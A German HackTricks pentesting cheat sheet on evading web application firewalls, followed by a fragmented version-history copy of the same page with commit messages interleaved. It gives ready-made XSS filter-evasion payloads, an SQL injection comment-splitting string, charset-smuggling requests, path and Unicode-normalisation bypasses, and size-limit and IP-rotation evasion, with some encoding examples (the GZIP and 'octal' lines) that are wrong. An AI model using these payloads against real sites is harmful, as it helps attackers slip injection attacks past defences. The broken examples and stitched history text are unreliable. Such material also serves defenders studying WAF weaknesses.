hacktricks/network-services-pentesting/pentesting-web/waf-bypass.md

# WAF Bypass

<details>

<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.

</details>

## Regex-Bypasses

Es können verschiedene Techniken verwendet werden, um die Regex-Filter der Firewalls zu umgehen. Beispiele hierfür sind das Wechseln der Groß- und Kleinschreibung, das Hinzufügen von Zeilenumbrüchen und das Codieren von Payloads. Ressourcen für die verschiedenen Umgehungen finden Sie unter [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) und [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html). Die folgenden Beispiele wurden aus [diesem Artikel](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) entnommen.

```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```

## Zeichencodierung

Eine gängige Methode, um Web Application Firewalls (WAFs) zu umgehen, besteht darin, die Zeichencodierung zu ändern. Dies kann dazu führen, dass die WAF die Angriffsvektoren nicht erkennt und somit den Angriff nicht blockiert.

### URL-Encoding

URL-Encoding ist eine Technik, bei der Sonderzeichen in einer URL durch eine spezielle Codierung ersetzt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.

Beispiel:

Ursprüngliche URL: `http://example.com/page?param=value`

URL-Encoding: `http://example.com/page?param%3Dvalue`

### Hex-Encoding

Hex-Encoding ist eine Methode, bei der Zeichen in Hexadezimalwerte umgewandelt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.

Beispiel:

Ursprünglicher Text: `admin`

Hex-Encoding: `61646d696e`

### Unicode-Encoding

Unicode-Encoding ist eine Technik, bei der Zeichen in Unicode-Zeichen umgewandelt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.

Beispiel:

Ursprünglicher Text: `admin`

Unicode-Encoding: `\u0061\u0064\u006d\u0069\u006e`

### HTML-Encoding

HTML-Encoding ist eine Methode, bei der Zeichen in HTML-Entitäten umgewandelt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.

Beispiel:

Ursprünglicher Text: `<script>alert('XSS')</script>`

HTML-Encoding: `&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;`

### Base64-Encoding

Base64-Encoding ist eine Technik, bei der Daten in eine Zeichenkette umgewandelt werden, die nur aus alphanumerischen Zeichen besteht. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.

Beispiel:

Ursprünglicher Text: `admin`

Base64-Encoding: `YWRtaW4=`

### GZIP-Encoding

GZIP-Encoding ist eine Methode, bei der Daten komprimiert werden, um die Übertragungseffizienz zu verbessern. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer komprimierten Form vorliegt.

Beispiel:

Ursprünglicher Text: `admin`

GZIP-Encoding: `H4sIAAAAAAAE/w==`

### Chunked-Encoding

Chunked-Encoding ist eine Technik, bei der Daten in kleinere Teile aufgeteilt werden, um die Übertragung zu erleichtern. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in mehreren Teilen übertragen wird.

Beispiel:

Ursprünglicher Text: `admin`

Chunked-Encoding: `4\r\nadmin\r\n0\r\n\r`

```bash
# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037

##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037")))

## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61

%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
```

## Obfuscation

Obfuscation ist eine Technik, bei der der Code so modifiziert wird, dass er schwer zu verstehen oder zu analysieren ist. Dies kann verwendet werden, um WAFs (Web Application Firewalls) zu umgehen, da sie den modifizierten Code möglicherweise nicht erkennen können.

Es gibt verschiedene Arten von Obfuscationstechniken, die verwendet werden können, um den Code zu verschleiern. Einige Beispiele sind:

* **String-Obfuscation**: Hierbei werden Zeichenketten im Code verschlüsselt oder in andere Formate umgewandelt, um sie vor der Erkennung durch WAFs zu schützen.
* **Code-Obfuscation**: Diese Technik beinhaltet die Modifikation des Codes, um ihn schwer lesbar zu machen. Dies kann durch das Hinzufügen von unnötigen Anweisungen, das Umbenennen von Variablen oder das Verwenden von verschleierten Funktionen erreicht werden.
* **Payload-Obfuscation**: Bei dieser Technik wird die schädliche Payload so modifiziert, dass sie von WAFs nicht erkannt wird. Dies kann durch das Ändern der Reihenfolge der Zeichen, das Hinzufügen von Junk-Code oder das Verwenden von verschleierten Funktionen erreicht werden.

Es ist wichtig zu beachten, dass Obfuscation allein nicht ausreicht, um eine WAF zu umgehen. Es sollte als Teil einer umfassenderen Angriffsstrategie verwendet werden, die auch andere Techniken wie IP-Spoofing, HTTP-Header-Manipulation und Angriffe auf Schwachstellen umfasst.

```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```

## Unicode-Kompatibilität

Je nach Implementierung der Unicode-Normalisierung (weitere Informationen [hier](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)) können Zeichen, die Unicode-Kompatibilität aufweisen, den WAF umgehen und als beabsichtigte Nutzlast ausgeführt werden. Kompatible Zeichen finden Sie [hier](https://www.compart.com/en/unicode)

### Beispiel

```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥  --> ＜img src=p onerror='prompt(1)'>
```

## Überschreiten von Größenbeschränkungen

Es ist üblich bei cloudbasierten WAFs, dass wenn die Nutzlast größer als X ist, die Anfrage nicht vom WAF überprüft wird. Du kannst das einfach nutzen, um sie zu umgehen.

### IP-Rotation

* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin)

<details>

<summary><strong>Lerne AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn du deine **Firma in HackTricks bewerben möchtest** oder **HackTricks als PDF herunterladen möchtest**, schau dir die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop) an!
* Hol dir das [**offizielle PEASS & HackTricks Merchandise**](https://peass.creator-spring.com)
* Entdecke [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folge** uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teile deine Hacking-Tricks, indem du Pull Requests an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repos sendest.**

</details>
-												GitBook: No commit message

											
										
										
											2024-04-06 18:30:57 +00:00
+								# WAF Bypass
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
 								<details>
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								Andere Möglichkeiten, HackTricks zu unterstützen:
-												arte

											
										
										
											2023-12-31 01:24:39 +00:00
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
 								* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
 								* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
-												GitBook: No commit message

											
										
										
											2024-04-06 18:30:57 +00:00
+								* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
 								</details>
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								## Regex-Bypasses
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								Es können verschiedene Techniken verwendet werden, um die Regex-Filter der Firewalls zu umgehen. Beispiele hierfür sind das Wechseln der Groß- und Kleinschreibung, das Hinzufügen von Zeilenumbrüchen und das Codieren von Payloads. Ressourcen für die verschiedenen Umgehungen finden Sie unter [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) und [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html). Die folgenden Beispiele wurden aus [diesem Artikel](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) entnommen.
-												GitBook: No commit message

											
										
										
											2024-04-06 18:30:57 +00:00
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
+								```bash
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
+								<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
 								<<script>alert(XSS)</script> #prepending an additional "<"
 								<script>alert(XSS) // #removing the closing tag
 								<script>alert`XSS`</script> #using backticks instead of parenetheses
 								java%0ascript:alert(1) #using encoded newline characters
 								<iframe src=http://malicous.com < #double open angle brackets
 								<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
 								<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
 								<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
 								Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
 								javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
 								<iframe src="javascript:alert(`xss`)"> #unicode encoding
 								/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
 								new Function`alt\`6\``; #using backticks instead of parentheses
 								data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
 								%26%2397;lert(1) #using HTML encoding
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
+								<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
 								```
-												GitBook: No commit message

											
										
										
											2024-04-06 18:30:57 +00:00
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								## Zeichencodierung
 								Eine gängige Methode, um Web Application Firewalls (WAFs) zu umgehen, besteht darin, die Zeichencodierung zu ändern. Dies kann dazu führen, dass die WAF die Angriffsvektoren nicht erkennt und somit den Angriff nicht blockiert.
 								### URL-Encoding
 								URL-Encoding ist eine Technik, bei der Sonderzeichen in einer URL durch eine spezielle Codierung ersetzt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.
 								Beispiel:
 								Ursprüngliche URL: `http://example.com/page?param=value`
 								URL-Encoding: `http://example.com/page?param%3Dvalue`
 								### Hex-Encoding
 								Hex-Encoding ist eine Methode, bei der Zeichen in Hexadezimalwerte umgewandelt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.
 								Beispiel:
 								Ursprünglicher Text: `admin`
 								Hex-Encoding: `61646d696e`
 								### Unicode-Encoding
 								Unicode-Encoding ist eine Technik, bei der Zeichen in Unicode-Zeichen umgewandelt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.
 								Beispiel:
 								Ursprünglicher Text: `admin`
 								Unicode-Encoding: `\u0061\u0064\u006d\u0069\u006e`
 								### HTML-Encoding
 								HTML-Encoding ist eine Methode, bei der Zeichen in HTML-Entitäten umgewandelt werden. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.
 								Beispiel:
 								Ursprünglicher Text: `<script>alert('XSS')</script>`
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								HTML-Encoding: `&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;`
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								### Base64-Encoding
 								Base64-Encoding ist eine Technik, bei der Daten in eine Zeichenkette umgewandelt werden, die nur aus alphanumerischen Zeichen besteht. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer anderen Form vorliegt.
 								Beispiel:
 								Ursprünglicher Text: `admin`
 								Base64-Encoding: `YWRtaW4=`
 								### GZIP-Encoding
 								GZIP-Encoding ist eine Methode, bei der Daten komprimiert werden, um die Übertragungseffizienz zu verbessern. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in einer komprimierten Form vorliegt.
 								Beispiel:
 								Ursprünglicher Text: `admin`
 								GZIP-Encoding: `H4sIAAAAAAAE/w==`
 								### Chunked-Encoding
 								Chunked-Encoding ist eine Technik, bei der Daten in kleinere Teile aufgeteilt werden, um die Übertragung zu erleichtern. Dies kann dazu führen, dass die WAF den Angriffsvektor nicht erkennt, da er in mehreren Teilen übertragen wird.
 								Beispiel:
 								Ursprünglicher Text: `admin`
-												GitBook: No commit message

											
										
										
											2024-04-06 18:30:57 +00:00
+								Chunked-Encoding: `4\r\nadmin\r\n0\r\n\r`
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
+								```bash
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
+								# Charset encoding
 								application/x-www-form-urlencoded;charset=ibm037
 								multipart/form-data; charset=ibm037,boundary=blah
 								multipart/form-data; boundary=blah; charset=ibm037
 								##Python code
 								import urllib
 								s = 'payload'
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								print(urllib.parse.quote_plus(s.encode("IBM037")))
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
 								## Request example
 								GET / HTTP/1.1
 								Host: buggy
 								Content-Type: application/x-www-form-urlencoded; charset=ibm500
 								Content-Length: 61
 								%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
 								```
-												GitBook: No commit message

											
										
										
											2024-04-06 18:30:57 +00:00
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
+								## Obfuscation
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								Obfuscation ist eine Technik, bei der der Code so modifiziert wird, dass er schwer zu verstehen oder zu analysieren ist. Dies kann verwendet werden, um WAFs (Web Application Firewalls) zu umgehen, da sie den modifizierten Code möglicherweise nicht erkennen können.
 								Es gibt verschiedene Arten von Obfuscationstechniken, die verwendet werden können, um den Code zu verschleiern. Einige Beispiele sind:
-												GitBook: No commit message

											
										
										
											2024-04-06 18:30:57 +00:00
+								* **String-Obfuscation**: Hierbei werden Zeichenketten im Code verschlüsselt oder in andere Formate umgewandelt, um sie vor der Erkennung durch WAFs zu schützen.
 								* **Code-Obfuscation**: Diese Technik beinhaltet die Modifikation des Codes, um ihn schwer lesbar zu machen. Dies kann durch das Hinzufügen von unnötigen Anweisungen, das Umbenennen von Variablen oder das Verwenden von verschleierten Funktionen erreicht werden.
 								* **Payload-Obfuscation**: Bei dieser Technik wird die schädliche Payload so modifiziert, dass sie von WAFs nicht erkannt wird. Dies kann durch das Ändern der Reihenfolge der Zeichen, das Hinzufügen von Junk-Code oder das Verwenden von verschleierten Funktionen erreicht werden.
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
 								Es ist wichtig zu beachten, dass Obfuscation allein nicht ausreicht, um eine WAF zu umgehen. Es sollte als Teil einer umfassenderen Angriffsstrategie verwendet werden, die auch andere Techniken wie IP-Spoofing, HTTP-Header-Manipulation und Angriffe auf Schwachstellen umfasst.
-												GitBook: No commit message

											
										
										
											2024-04-06 18:30:57 +00:00
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
+								```bash
 								# IIS, ASP Clasic
 								<%s%cr%u0131pt> == <script>
 								# Path blacklist bypass - Tomcat
 								/path1/path2/ == ;/path1;foo/path2;bar/;
 								```
-												GitBook: No commit message

											
										
										
											2024-04-06 18:30:57 +00:00
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								## Unicode-Kompatibilität
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								Je nach Implementierung der Unicode-Normalisierung (weitere Informationen [hier](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)) können Zeichen, die Unicode-Kompatibilität aufweisen, den WAF umgehen und als beabsichtigte Nutzlast ausgeführt werden. Kompatible Zeichen finden Sie [hier](https://www.compart.com/en/unicode)
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								### Beispiel
-												GitBook: No commit message

											
										
										
											2024-04-06 18:30:57 +00:00
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
+								```bash
 								# under the NFKD normalization algorithm, the characters on the left translate
 								# to the XSS payload on the right
 								＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥  --> ＜img src=p onerror='prompt(1)'>
 								```
-												GitBook: No commit message

											
										
										
											2024-04-06 18:30:57 +00:00
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								## Überschreiten von Größenbeschränkungen
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								Es ist üblich bei cloudbasierten WAFs, dass wenn die Nutzlast größer als X ist, die Anfrage nicht vom WAF überprüft wird. Du kannst das einfach nutzen, um sie zu umgehen.
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								### IP-Rotation
-												GITBOOK-4208: change request with no subject merged in GitBook

											
										
										
											2023-12-24 18:15:27 +00:00
 								* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin)
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
+								<details>
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								<summary><strong>Lerne AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								Andere Möglichkeiten, HackTricks zu unterstützen:
-												arte

											
										
										
											2023-12-31 01:24:39 +00:00
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								* Wenn du deine **Firma in HackTricks bewerben möchtest** oder **HackTricks als PDF herunterladen möchtest**, schau dir die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop) an!
 								* Hol dir das [**offizielle PEASS & HackTricks Merchandise**](https://peass.creator-spring.com)
 								* Entdecke [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
-												GitBook: No commit message

											
										
										
											2024-04-06 18:30:57 +00:00
+								* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folge** uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-												Translated to German

											
										
										
											2024-02-10 15:36:32 +00:00
+								* **Teile deine Hacking-Tricks, indem du Pull Requests an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repos sendest.**
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
 								</details>